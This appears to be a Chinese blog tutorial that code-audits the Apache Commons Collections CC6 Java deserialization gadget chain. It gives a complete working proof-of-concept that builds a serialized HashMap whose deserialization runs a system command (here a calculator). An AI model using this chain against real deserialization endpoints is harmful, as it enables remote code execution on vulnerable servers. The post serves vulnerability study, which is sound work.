首页 > 编程语言 >Java反序列化 - CC6链 (代码审计)

Java反序列化 - CC6链 (代码审计)

时间:2024-11-29 10:32:32浏览次数:10  
标签:CC6 Java HashMap Object Class key new 序列化 class

一、漏洞简述:

相比较于CC6链,CC1链对jdk版本有较多的限制。
在 jdk_8u71版本之后,AnnotationInvocationHandler类中的readObject方法代码被修改,移除了原有的 setValue()方法,导致利用链断开。

jdk_8u65:
image

jdk_8u71:
image

二、CC6链分析:

1、利用逻辑:

Hashmap.readObject()
-> Hashmap.hash()
 -> TiedMapEntry.hashcode()
  -> TiedMapEntry.getValue()
   -> LazyMap.get()
    -> ChainedTransformer.transform()
	 -> InvokerTransformer.transform()
	  -> method.invoke()
	   -> Runtime.getRuntime.exec("open -a Calculator")

2、LazyMap类利用:

LazyMap 中的 get()方法 调用了 factory.transform()方法,其中 factory参数 可控。

org.apache.commons.collections.map.LazyMap#get:

public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

org.apache.commons.collections.map.LazyMap#decorate:

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

利用 LazyMap类 进行RCE,poc如下:

public static void main(String[] args) {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), ct);
        lazymap.get("1");
    }

image

3、TiedMapEntry类利用:

TiedMapEntry类 中的 getValue()方法 会调用 map.get()方法,其中map参数的值可以通过构造函数控制,最后类中的 hashCode()方法 会调用 getValue()方法,由此构成利用链。

org.apache.commons.collections.keyvalue.TiedMapEntry#getValue:

public Object getValue() {
        return this.map.get(this.key);
    }

org.apache.commons.collections.keyvalue.TiedMapEntry#TiedMapEntry:

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode:

public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

利用链poc如下:

public static void main(String[] args) {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), ct);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法
        tiedMapEntry.hashCode();
    }

image

4、HashMap类利用:

已知可以利用 TiedMapEntry类中的 hashCode()方法实现RCE,现在只需要考虑如何调用 hashCode即可。

通过跟进 HashMap类可知,HashMap类 中的 hash(Object key)方法调用了 key.hashCode()方法,HashMap类中的 put()方法 和 readObject()方法 均调用了 hash()方法,可以触发调用 hashCode()方法。

java.util.HashMap#hash:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

java.util.HashMap#put:

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

通过调用 hash()方法调用 hashCode()方法,从而RCE,poc如下:

public static void main(String[] args) {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), ct);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "1");
    }

image

三、poc链构造:

java.util.HashMap#readObject:

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {

        ObjectInputStream.GetField fields = s.readFields();

        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);

        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);

        reinitialize();

        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在 readObject()方法中,最后一行代码使用了
putVal(hash(key), key, value, false, false);
其中调用了hash()方法,从而可以出发 hashCode()方法,进而实现RCE。

1、put()方法造成rce提前,利用反射机制解决:

但是由前面的代码可知,我们向 hashMap中put健值对的时候调用了 HashMap类中的 put()方法,put()方法会提前调用 hash()方法,从而使在进行反序列化,调用 readObject()之前,就实现了RCE,与预期不符,所以可以采用反射的机制进行解决。
image

image

(1) 第一次factory传值为 new ConstantTransformer("1") 防止提前造成RCE
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));

(2) 利用反射将 factory的值修改回 chainedTransformer对象:

Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

image

修改后poc如下所示:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("0"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "2");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

        serialize(hashMap);
        unserialize();
    }

    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("CC6Test.bin")));
        oos.writeObject(object);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("CC6Test.bin")));
        ois.readObject();
    }

2、!this.map.containsKey(key) == false 导致无法执行 transform()从而RCE:

使用上述 poc发现无法进行RCE,在 LazyMap类的get()方法处打断点跟进:
image

put()方法触发的 get(Object key)中 key = 1:
image

由于 HashMap对象中不存在 key=1,所以 get()方法 会使用 map.put(key, value) 将 key=1 添加,在后续反序列化触发 get()方法的时候,由于 key=1在第一次调用时已经被添加进了 HashMap对象中,故第二次会直接跳过,执行 return this.map.get(key);

image

所以我们需要在 put()方法之后手动删除 lazymap中的这个 key,以确保后续RCE的成功执行:
lazymap.remove("1");

3、完整poc:

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer ct = new ChainedTransformer(transformers);
        Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("0"));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "1");  //将map赋值为lazymap,调用LazyMap类中的get()方法
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, "2");
        lazymap.remove("1");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap, ct);

        serialize(hashMap);
        unserialize();
    }

    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("CC6Test.bin")));
        oos.writeObject(object);
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("CC6Test.bin")));
        ois.readObject();
    }

image

标签:CC6,Java,HashMap,Object,Class,key,new,序列化,class
From: https://www.cnblogs.com/kgty/p/18574218

相关文章

  • 「Java EE开发指南」如何在Java EE网站中使用CodeLive?
    CodeLive可以很容易地看到网页上加载了哪些文件,并快速从页面跳转到源文件。开发者可以在正常的工作流程中立即查看HTML、CSS和JSP的更改,甚至可以一次测试多个浏览器并测试模拟的移动设备。JavaEE的CodeLive在MyEclipse中可用。MyEclipsev2024.1离线版下载MyEclipse技术交流......
  • Java学习,反射
    Java反射是Java编程语言的一个重要特性,它允许程序在运行时查看任意对象所属的类,获取类的内部信息(包括构造器、字段和方法等),并能动态地调用对象的方法或构造器。反射概念反射(Reflection)程序运行时能够获取类、方法、字段、构造函数等信息,并在运行时动态调用类的方法、创建对象......
  • Java学习,枚举
    Java中枚举(enum)是一种特殊的类,用于表示一组固定的常量。枚举类型使得代码更加清晰、类型安全,并且易于维护。基本用法:定义枚举:publicenumDay{  MONDAY,  TUESDAY,  WEDNESDAY,  THURSDAY,  FRIDAY,  SATURDAY,  SUNDAY}示例:public......
  • Java设计模式——职责链模式:解锁高效灵活的请求处理之道
    嘿,各位Java编程大神和爱好者们!今天咱们要一同深入探索一种超厉害的设计模式——职责链模式。它就像一条神奇的“处理链”,能让请求在多个对象之间有条不紊地传递,直到找到最合适的“处理者”。准备好跟我一起揭开它神秘的面纱,看看如何用代码实现这种强大的模式,让我们的程序变得更......
  • ESLint:从 JSLint 到 JSHint,探索 JavaScript Linter 的进化历程 (1)
    linter发展史首先和大家来聊一聊关于linter的发展史。静态代码分析早在1978年,StephenC.Johnson在Debug自己的C语言项目时,突然想到为什么不做一个工具来提示自己写的代码哪里有问题呢?这个工具也被称为Linter。Linter本意指的是衣服上多出来的小球、绒毛和......
  • javaScript中对字符串操作的方法
    获取字符串长度length属性:可以获取字符串中字符的个数。例如,letstr="hello";console.log(str.length);,会输出 5。访问字符索引访问:可以通过索引(位置)来访问字符串中的单个字符。字符串中的字符索引从 0 开始。例如,letstr="world";console.log(str[0]);,会输出 w。......
  • 黑马程序员Pink的javaScript课程day5(对象)笔记
    1.什么是对象对象是一种数据类型,是无序的数据集合对象的声明2.对象的操作(增删改)查改增删3.查的两种写法方法一:对象名.属性名方法二:对象名['属性名']4.对象中的方法方法的定义方法的调用对象方法中的实参和形参对象中的方法也可以......
  • Java学习之克隆
    把A对象的属性值完全拷贝给B对象,也叫对象拷贝,对象复制。克隆对象方法在底层会帮我们创建一个对象,并把原对象中的数据拷贝过去。1.重写Object中的clone方法浅克隆protectedObjectclone()throwsCloneNotSupportedException{   returnsuper.clone(); }......
  • JavaWeb学习之HTML与CSS
    HTML超文本标记语言超文本:超越了文本的限制,比普通文本更强大。除了文字信息,还可以定义图片、音频、视频等内容。标记语言:由标签树成的语言HTML标签都是预定义好的。例如:使用<a>展示超链接,使用<img>展示图片,<video>展示视频。HTML代码直接在浏览器中运行,HTML标签由浏览......
  • 【java编程】Unsafe 类
    Unsafe类不是一个ClassLoader,但是为什么要在本篇文章提起,其实是因为该类可以进行注入恶意类到JVM中.Unsafe类简介sun.misc.Unsafe类是一个提供底层、不安全的操作,比如直接内存访问、线程调度、原子操作等功能的工具类。这个类主要被Java内部库使用,比如Java的NIO、并......